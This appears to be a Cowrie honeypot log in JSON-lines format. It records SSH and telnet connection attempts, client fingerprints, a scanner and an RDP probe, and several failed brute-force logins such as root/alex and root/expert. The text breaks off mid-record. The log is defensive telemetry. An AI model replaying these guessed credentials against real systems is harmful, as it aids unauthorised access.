{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:17.112997Z","src_ip":"194.59.206.2","session":"a789674da4f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60582,"dst_ip":"10.17.0.5","dst_port":23,"session":"974ae03eb7ae","protocol":"telnet","message":"New connection: 152.42.224.71:60582 (10.17.0.5:23) [session: 974ae03eb7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:17.943460Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":60100,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0bf66c2a3ea","protocol":"ssh","message":"New connection: 80.66.85.226:60100 (159.203.135.109:22) [session: f0bf66c2a3ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:22.321993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:22.325766Z","src_ip":"80.66.85.226","session":"f0bf66c2a3ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:22.418116Z","src_ip":"80.66.85.226","session":"f0bf66c2a3ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alex","message":"login attempt [root/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:22.698122Z","src_ip":"80.66.85.226","session":"f0bf66c2a3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:23.794935Z","src_ip":"80.66.85.226","session":"f0bf66c2a3ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.35830068588257,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:35.576984Z","src_ip":"152.42.224.71","session":"654ea6a827a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.295276403427124,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:36.584572Z","src_ip":"152.42.224.71","session":"a93ca0c7aebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":43780,"dst_ip":"159.203.135.109","dst_port":22,"session":"b523557ee977","protocol":"ssh","message":"New connection: 37.233.85.71:43780 (159.203.135.109:22) [session: b523557ee977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:37.123009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:37.127521Z","src_ip":"37.233.85.71","session":"b523557ee977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:37.236209Z","src_ip":"37.233.85.71","session":"b523557ee977","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andrey1","message":"login attempt [root/andrey1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:37.555256Z","src_ip":"37.233.85.71","session":"b523557ee977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:38.662183Z","src_ip":"37.233.85.71","session":"b523557ee977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":41506,"dst_ip":"10.17.0.5","dst_port":22,"session":"83eca8b972d3","protocol":"ssh","message":"New connection: 80.94.92.171:41506 (10.17.0.5:22) [session: 83eca8b972d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:42.699977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:42.846864Z","src_ip":"80.94.92.171","session":"83eca8b972d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:42.850476Z","src_ip":"80.94.92.171","session":"83eca8b972d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:43.902884Z","src_ip":"80.94.92.171","session":"83eca8b972d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:45.070247Z","src_ip":"80.94.92.171","session":"83eca8b972d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55032,"dst_ip":"10.17.0.5","dst_port":23,"session":"05baf4140d84","protocol":"telnet","message":"New connection: 152.42.224.71:55032 (10.17.0.5:23) [session: 05baf4140d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:47.308123Z"}
{"eventid":"cowrie.session.closed","duration":35.30667066574097,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:22:53.250010Z","src_ip":"152.42.224.71","session":"974ae03eb7ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"183.155.248.124","src_port":37138,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c24699ac5c9","protocol":"telnet","message":"New connection: 183.155.248.124:37138 (159.203.135.109:23) [session: 9c24699ac5c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:02.677703Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47234,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc9f32233e69","protocol":"telnet","message":"New connection: 152.42.224.71:47234 (10.17.0.5:23) [session: bc9f32233e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:06.387413Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":63783,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6eafed53444","protocol":"ssh","message":"New connection: 152.42.212.128:63783 (10.17.0.5:22) [session: b6eafed53444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:12.205345Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:12.210745Z","src_ip":"152.42.212.128","session":"b6eafed53444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:12.215822Z","src_ip":"152.42.212.128","session":"b6eafed53444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47244,"dst_ip":"10.17.0.5","dst_port":23,"session":"71faf7c8b10f","protocol":"telnet","message":"New connection: 152.42.224.71:47244 (10.17.0.5:23) [session: 71faf7c8b10f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:14.033557Z"}
{"eventid":"cowrie.session.closed","duration":15.416668176651001,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:18.094259Z","src_ip":"183.155.248.124","session":"9c24699ac5c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59126,"dst_ip":"10.17.0.5","dst_port":23,"session":"296315eaf85d","protocol":"telnet","message":"New connection: 152.42.224.71:59126 (10.17.0.5:23) [session: 296315eaf85d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:20.215104Z"}
{"eventid":"cowrie.session.closed","duration":33.30795073509216,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:20.615976Z","src_ip":"152.42.224.71","session":"05baf4140d84","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52098,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a541dab6d52","protocol":"telnet","message":"New connection: 152.42.224.71:52098 (10.17.0.5:23) [session: 4a541dab6d52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:26.405187Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52108,"dst_ip":"10.17.0.5","dst_port":23,"session":"7882275a08d5","protocol":"telnet","message":"New connection: 152.42.224.71:52108 (10.17.0.5:23) [session: 7882275a08d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:26.889116Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52124,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d37a2520129","protocol":"telnet","message":"New connection: 152.42.224.71:52124 (10.17.0.5:23) [session: 9d37a2520129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:30.772081Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36614,"dst_ip":"10.17.0.5","dst_port":23,"session":"714fb75fecc2","protocol":"telnet","message":"New connection: 152.42.224.71:36614 (10.17.0.5:23) [session: 714fb75fecc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:43.518984Z"}
{"eventid":"cowrie.session.closed","duration":4.742268323898315,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:48.261100Z","src_ip":"152.42.224.71","session":"714fb75fecc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38006,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffcc11f79079","protocol":"telnet","message":"New connection: 152.42.224.71:38006 (10.17.0.5:23) [session: ffcc11f79079]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:53.110297Z"}
{"eventid":"cowrie.session.closed","duration":27.191519498825073,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:53.596600Z","src_ip":"152.42.224.71","session":"4a541dab6d52","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56646,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c73a80a3306","protocol":"telnet","message":"New connection: 152.42.224.71:56646 (10.17.0.5:23) [session: 4c73a80a3306]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:56.823239Z"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.199.65","src_port":50886,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1864fbcda6f","protocol":"telnet","message":"New connection: 71.6.199.65:50886 (159.203.135.109:23) [session: e1864fbcda6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:58.113228Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56650,"dst_ip":"10.17.0.5","dst_port":23,"session":"f94597f00a46","protocol":"telnet","message":"New connection: 152.42.224.71:56650 (10.17.0.5:23) [session: f94597f00a46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:23:58.825404Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56658,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e98ecf39219","protocol":"telnet","message":"New connection: 152.42.224.71:56658 (10.17.0.5:23) [session: 0e98ecf39219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:04.667111Z"}
{"eventid":"cowrie.session.closed","duration":10.074196577072144,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:08.187336Z","src_ip":"71.6.199.65","session":"e1864fbcda6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.21215057373047,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:08.245583Z","src_ip":"152.42.224.71","session":"71faf7c8b10f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.707186460494995,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:08.596175Z","src_ip":"152.42.224.71","session":"7882275a08d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42908,"dst_ip":"10.17.0.5","dst_port":23,"session":"f33445dd463c","protocol":"telnet","message":"New connection: 152.42.224.71:42908 (10.17.0.5:23) [session: f33445dd463c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:11.610514Z"}
{"eventid":"cowrie.session.closed","duration":66.32801270484924,"message":"Connection lost after 66 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:12.715046Z","src_ip":"152.42.224.71","session":"bc9f32233e69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54604,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de9c64cec2b","protocol":"telnet","message":"New connection: 152.42.224.71:54604 (10.17.0.5:23) [session: 5de9c64cec2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:18.450078Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54620,"dst_ip":"10.17.0.5","dst_port":23,"session":"04a1935dad39","protocol":"telnet","message":"New connection: 152.42.224.71:54620 (10.17.0.5:23) [session: 04a1935dad39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:19.692791Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":34464,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd5d68e1cbf7","protocol":"ssh","message":"New connection: 94.159.98.239:34464 (10.17.0.5:22) [session: fd5d68e1cbf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:23.633160Z"}
{"eventid":"cowrie.session.closed","duration":26.816818475723267,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:23.639944Z","src_ip":"152.42.224.71","session":"4c73a80a3306","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:23.660465Z","src_ip":"94.159.98.239","session":"fd5d68e1cbf7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:23.761998Z","src_ip":"94.159.98.239","session":"fd5d68e1cbf7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"expert","message":"login attempt [root/expert] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:24.648920Z","src_ip":"94.159.98.239","session":"fd5d68e1cbf7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:25.774910Z","src_ip":"94.159.98.239","session":"fd5d68e1cbf7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.210.31.71","src_port":62074,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbeb2274b5a2","protocol":"ssh","message":"New connection: 205.210.31.71:62074 (159.203.135.109:22) [session: bbeb2274b5a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:26.946204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:27.809800Z","src_ip":"205.210.31.71","session":"bbeb2274b5a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.95224237442017,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:24:28.167253Z","src_ip":"152.42.224.71","session":"296315eaf85d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","a